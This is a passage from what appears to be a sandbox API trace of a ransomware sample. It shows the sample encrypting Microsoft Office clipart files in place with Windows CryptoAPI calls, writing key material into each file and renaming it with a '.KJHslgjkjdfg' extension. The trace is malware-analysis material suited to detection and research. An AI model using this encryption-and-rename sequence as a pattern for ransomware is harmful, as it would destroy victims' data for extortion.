lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.030] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.030] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x53c, lpOverlapped=0x0) returned 1 [0186.030] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540, dwBufLen=0x540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540) returned 1 [0186.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.030] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x540, lpOverlapped=0x0) returned 1 [0186.030] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.030] SetEndOfFile (hFile=0x114) returned 1 [0186.033] GetProcessHeap () returned 0x2a0000 [0186.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.033] GetProcessHeap () returned 0x2a0000 [0186.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.kjhslgjkjdfg")) returned 1 [0186.034] CloseHandle (hObject=0x114) returned 1 [0186.034] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0186.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.036] GetProcessHeap () returned 0x2a0000 [0186.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.036] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.038] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.038] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.038] GetProcessHeap () returned 0x2a0000 [0186.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.038] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.038] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.038] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.038] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.038] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.038] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.039] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.039] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1948, lpOverlapped=0x0) returned 1 [0186.040] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950, dwBufLen=0x1950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950) returned 1 [0186.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.040] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1950, lpOverlapped=0x0) returned 1 [0186.040] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.040] SetEndOfFile (hFile=0x114) returned 1 [0186.043] GetProcessHeap () returned 0x2a0000 [0186.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.043] GetProcessHeap () returned 0x2a0000 [0186.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.kjhslgjkjdfg")) returned 1 [0186.045] CloseHandle (hObject=0x114) returned 1 [0186.045] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0186.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.046] GetProcessHeap () returned 0x2a0000 [0186.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.046] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.052] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.052] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.052] GetProcessHeap () returned 0x2a0000 [0186.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.052] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.052] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.052] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.052] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.053] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.053] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.053] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.053] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.053] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c2c, lpOverlapped=0x0) returned 1 [0186.054] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c30) returned 1 [0186.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.054] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c30, lpOverlapped=0x0) returned 1 [0186.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.055] SetEndOfFile (hFile=0x114) returned 1 [0186.058] GetProcessHeap () returned 0x2a0000 [0186.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.058] GetProcessHeap () returned 0x2a0000 [0186.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.kjhslgjkjdfg")) returned 1 [0186.060] CloseHandle (hObject=0x114) returned 1 [0186.060] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0186.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.062] GetProcessHeap () returned 0x2a0000 [0186.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.062] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.064] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.064] GetProcessHeap () returned 0x2a0000 [0186.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.064] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.065] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.065] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xff8, lpOverlapped=0x0) returned 1 [0186.066] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1000, dwBufLen=0x1000 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1000) returned 1 [0186.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.066] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1000, lpOverlapped=0x0) returned 1 [0186.066] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.066] SetEndOfFile (hFile=0x114) returned 1 [0186.069] GetProcessHeap () returned 0x2a0000 [0186.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.069] GetProcessHeap () returned 0x2a0000 [0186.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.kjhslgjkjdfg")) returned 1 [0186.070] CloseHandle (hObject=0x114) returned 1 [0186.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0186.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.072] GetProcessHeap () returned 0x2a0000 [0186.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.072] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.072] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.074] GetProcessHeap () returned 0x2a0000 [0186.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.075] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.075] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.075] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.075] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.075] ReadFile (in: hFile=0x114, 